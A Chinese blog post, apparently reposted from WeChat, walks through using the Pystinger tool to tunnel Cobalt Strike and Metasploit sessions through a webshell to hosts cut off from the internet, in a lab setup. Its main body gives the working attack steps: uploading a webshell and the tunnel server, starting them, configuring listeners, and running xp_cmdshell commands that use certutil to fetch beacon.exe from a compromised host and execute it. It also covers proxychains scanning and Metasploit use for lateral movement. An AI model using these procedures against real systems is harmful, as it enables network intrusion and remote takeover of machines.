当前位置:网站首页>(毒刺)利用Pystinger Socks4上线不出网主机
(毒刺)利用Pystinger Socks4上线不出网主机
2022-07-02 22:13:00 【明月清风~~】
(毒刺)利用Pystinger Socks4上线不出网主机
原文链接:https://mp.weixin.qq.com/s/cpN91KpBvTHwqqFHAQZDOw
我们接着前两篇文章继续分享一篇利用Pystinger Socks4代理方式上线不出网主机的姿势,包括单主机和内网多台主机的两种常见场景!!!
项目地址:https://github.com/FunnyWolf/pystinger
**相关阅读:
**
0x01 测试环境
攻击机(Kali):192.168.56.101受害机1(Web):192.168.56.102、192.168.186.3 - 双网卡受害机2(Data):192.168.186.4 - 断网机
0x02 Pystinger简单介绍
Pystinger由服务端webshell、stinger_server和客户端stinger_client两部分组成,可通过webshell实现内网SOCK4代理及端口映射,支持php/jsp(x)/aspx三种代理脚本。

webshell只负责流量转发,大部分建立连接及处理数据的工作由stinger_server完成,stinger_client则用于接收转发过来的流量数据以及与CS/MSF的listener建立TCP连接等。
大致原理如下图,更为详细的原理分析可阅读“奇安信安全服务”公众号中的“红队攻防实践:不出网主机搭建内网隧道新思路”一文进行学习了解。

0x03 Pystinger上线不出网主机
我们先将Pystinger项目的服务端stinger_server.exe、proxy.aspx通过中国菜刀上传至目标磁盘可读写目录中,访问proxy.aspx返回UTF-8表示正常,接着执行以下命令启动服务端。
start C:\inetpub\wwwroot\stinger_server.exe 0.0.0.0

**注:**作者提示不要直接运行D:/XXX/stinger_server.exe,因为这样可能会导致TCP断连。
将客户端stinger_client上传至Kali攻击机的tmp临时目录,然后再执行以下命令将Socks4的代理流量转发到我们Kali攻击机60000端口上,只要把-w参数替换为自己上传的代理脚本地址即可。
[email protected]:/tmp# chmod 777 [email protected]:/tmp# ./stinger_client -w http://192.168.56.102/proxy.aspx -l 127.0.0.1 -p 60000

场景1:单主机上线
已控主机为单主机,不出外网且仅允许访问目标Web的80端口。如遇这种场景时可在执行完以上操作后在CobaltStrike创建一个Listener,HTTP Hosts填127.0.0.1,HTTP Port填60020。

场景2:多主机上线
已控主机为内网其中一台主机,双网卡(192.168.56.X为出网段,192.168.186.X为不出网段),在对不出网段中的其他内网主机进行横向移动上线时可在执行完以上操作后在CobaltStrike创建一个Listener,HTTP Hosts填192.168.186.3,HTTP Port填60020。

配置好监听后生成一个可执行马儿,将该文件放至192.168.186.3的Web服务器中供192.168.186.4断网数据库服务器下载,再利用xp_cmdshell组件执行beacon.exe后即可成功上线,Pystinger客户端那边也收到了相关连接数据。
EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.186.3/beacon.exe C:\ProgramData\beacon.exe'EXEC master..xp_cmdshell 'C:\ProgramData\beacon.exe'


CobaltStrike监听设置
单主机上线:
CobaltStrike->Listeners->Add->127.0.0.1:60020;多主机上线:
CobaltStrike->Listeners->Add->192.168.186.3:60020;**注:**目标主机为双网卡时必须用不出网IP段的内网IP地址进行监听才能上线不出网主机;
上线至MSF的利用姿势
Kali攻击机上编辑/etc/proxychains.conf文件,底部添加一条socks4代理:127.0.0.1:60000,添加完成后先执行以下几条命令来验证下是否已经与不出网IP段通了?
[email protected]:~# proxychains telnet 192.168.186.4 [email protected]:~# proxychains curl http://[email protected]:~# proxychains nmap -sT -Pn 192.168.186.4[...SNIP...]
如果通了就再用proxychains来启动msfconsole,用不出网IP段的内网IP地址进行监听即可。原理大家都懂,就不实操截图了…。
[email protected]:~# proxychains msfconsole -q[...SNIP...]
边栏推荐
- Prometheus deployment
- Introduction to the latest plan of horizon in April 2022
- Chow-Liu Tree
- Application of containerization technology in embedded field
- 4 special cases! Schools in area a adopt the re examination score line in area B!
- 编辑卡顿
- golang中new与make的区别
- Quantitative analysis of PSNR, SSIM and RMSE
- Detailed explanation and application of merging and sorting
- MySQL queries nearby data And sort by distance
猜你喜欢

Splunk audit 的设定

Application of containerization technology in embedded field

解决:exceptiole ‘xxxxx.QRTZ_LOCKS‘ doesn‘t exist以及mysql的my.cnf文件追加lower_case_table_names后启动报错

PMP project integration management
![[Yangcheng cup 2020] easyphp](/img/12/da28f738e50e625b0a66a94af3703d.png)
[Yangcheng cup 2020] easyphp

xshell配置xforward转发火狐浏览器

Chow-Liu Tree

Win11如何开启目视控制?Win11开启目视控制的方法

QT qpprogressbar details

程序员版本的八荣八耻~
随机推荐
QT qpprogressbar details
How does Jerry test the wrong touch rate of keys [chapter]
为什么RTOS系统要使用MPU?
Tronapi wave field interface - source code without encryption - can be opened twice - interface document attached - packaging based on thinkphp5 - detailed guidance of the author - July 1, 2022 08:43:
Niuke network: maximum submatrix
[Solved] Splunk: Cannot get username when all users are selected“
Methods to solve the tampering of Chrome browser and edeg browser homepage
Configuration clic droit pour choisir d'ouvrir le fichier avec vs Code
China Academy of information technology, Tsinghua University, Tencent security, cloud native security, industry university research and use strong alliance!
Boot actuator - Prometheus use
2016. maximum difference between incremental elements
The first batch of Tencent cloud completed the first cloud native security maturity assessment in China
Getting started with golang: for Range an alternative method of modifying the values of elements in slices
FOC矢量控制及BLDC控制中的端电压、相电压、线电压等概念别还傻傻分不清楚
解决:exceptiole ‘xxxxx.QRTZ_LOCKS‘ doesn‘t exist以及mysql的my.cnf文件追加lower_case_table_names后启动报错
Splunk audit setting
剑指 Offer II 099. 最小路径之和-双百代码
电路设计者常用的学习网站
Catalogue of digital image processing experiments
深度剖析数据在内存中的存储----C语言篇